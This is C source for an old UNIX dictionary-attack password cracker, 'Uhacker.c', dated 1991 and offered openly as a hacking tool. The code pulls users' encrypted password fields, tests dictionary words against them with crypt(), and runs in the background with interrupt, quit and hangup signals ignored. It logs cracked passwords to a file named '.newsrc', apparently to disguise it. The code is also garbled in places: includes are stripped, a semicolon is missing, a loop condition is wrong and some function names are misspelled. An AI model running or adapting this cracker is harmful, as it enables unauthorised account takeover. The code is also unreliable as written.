/* * UNIX Batch Password Hacker: Uhacker.c * Written By The Infidel, BOYWare Productions, 1991 */ #include #include #include struct acct { char nam[16]; char crpwd[20]; } struct passwd *pwd; int i, batchc, count, flag; char *pw, dictwd[20]; static char dict[] = "/usr/dict/words"; static char data[] = ".newsrc"; /* Not needed by all UNIX C compilers */ int endpwent(); /* Close /etc/passwd file */ char *strcpy(), *crypt(), *getpass(), *getlogin(); struct passwd *getpwname(); main(argc, argv) int argc; char *argv[]; { FILE *fopen(), *ifp, *ofp; struct acct user[11]; if (argc == 2) { if (!(strcmp(argv[1], "-d"))) flag = 1; else { printf("Incorrect usage.\n"); exit(-1); } } if ((ifp = fopen(dict, "r")) == NULL) { printf("Invalid source file.\n\n"); exit(-1); } if ((ofp = fopen(data, "w")) == NULL) { printf("Unable to open data file.\n\n"); exit(-1); } printf("Enter input. Terminate batch with a 'q'.\n"); for (i = 1; i < 11; ++i) { printf(" #%d: ", i); scanf("%s", user[i].nam); if (!strcmp(user[i].nam, "q")) break; if (!(pwd = getpwnam(user[i].nam))) { printf("Nonexistent: %s\n", user[i].nam); --i; } else { sprintf(user[i].crpwd, "%s", pwd->pw_passwd); } } if (i == 1) { printf("Abnormal termination.\n"); exit(-1); } batchc = i; count = i - 1; i = fork(); /* Create a child process to do the scanning */ if (i) { printf("\nProcess Number: %d\n\n", i); exit(0); /* Terminate the parent process to give us our shell back */ } signal(SIGINT, SIG_IGN); /* Child now in background. Lock out interrupts */ signal(SIGQUIT, SIG_IGN); /* Lock out ctrl-\ quit signal */ signal(SIGHUP, SIG_IGN); /* If terminal locks up after logout, delete this line. System won't support self-nohups */ if (flag == 1) { fprintf(ofp, "-----------------------\n"); for (i = 1; i < batchc; ++i) fprintf(ofp, "%s - %s\n", user[i].nam, user[i].crpwd); fprintf(ofp, "-----------------------\n\n"); } while (fgets(dictwd, 20, ifp) != NULL) { if (dictwd[strlen(dictwd) - 2] == '#') dictwd[strlen(dictwd) - 2] = '\0'; else dictwd[strlen(dictwd) - 1] = '\0'; for (i = 1; 1 < batchc; ++i) { pw = crypt(dictwd, user[i].crpwd); if (!stremp(pw, user[i].crpwd)) { fprintf(ofp, "%s -=> %s\n", user[i].nam, dictwd); --count; if (count == 0) { fprintf(ofp, "Job completed.\n\n"); exit(0); } } } } if (count == batchc - 1) fprintf(ofp, "Unsuccessful.\n\n"); else fprintf(ofp, "Job completed.\n\n"); endpwent(); }